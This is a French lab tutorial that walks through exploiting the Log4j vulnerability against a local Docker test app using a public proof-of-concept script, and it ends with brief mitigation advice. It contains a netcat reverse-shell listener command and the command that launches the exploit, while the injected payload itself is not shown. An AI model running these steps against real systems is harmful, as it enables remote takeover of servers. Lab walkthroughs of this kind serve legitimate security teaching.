Aujourd’hui nous allons voir ensemble comment exploiter la vulnérabilité LOG4J afin de compromettre une machine vulnérable.
Pour cet atelier, je me suis basé sur une application web vulnérable disponible sur github :
https://github.com/kozmer/log4j-shell-poc
Pour installer cet atelier, j’utilise une machine Kali Linux. Je télécharge préalablement le fichier du POC depuis github.
Depuis le dossier, on installe les prérequis :
pip install -r requirements.txt
On télécharge ensuite l’archive java sur la machine :
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
Déplacez le contenu de l’archive java dans votre dossier POC :
Décompressez ensuite le fichier .tar.gz
tar -xvzf jdk*
Pour respecter les pré-requis du POC, vous devrez renommer votre version de java pour correspondre à 1.8.0_20
Je l’ai renommé avec la commande mv :
On ouvre ensuite un listener sur le port 9001 pour accepter le reverse shell :
nc -lvnp 9001
On lancera ensuite l’exploit sur la machine victime :
python3 poc.py --userip localhost --webport 8000 --lport 9001
Le script met en place un serveur web vulnérable.
On installe docker pour faire tourner le serveur vulnérable :
apt install docker.io
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc
Votre lab devrait alors être déployé et fonctionnel. On ouvre la page web vulnérable à l’adresse localhost:8080
Dans le champ login, on peut insérer l’argument invalide suivant pour obtenir un shell à distance sur l’application :
Sur le listener, on récupère bien un shell à distance, ici, j’ai exécuté la commande whoami.
Pour vous prémunir contre ce type d’attaques, vous pouvez mettre à jour votre composant apache. Vous pouvez également filtrer les arguments utilisateurs afin de mitiger l’attaque.
Sources :
Github : POC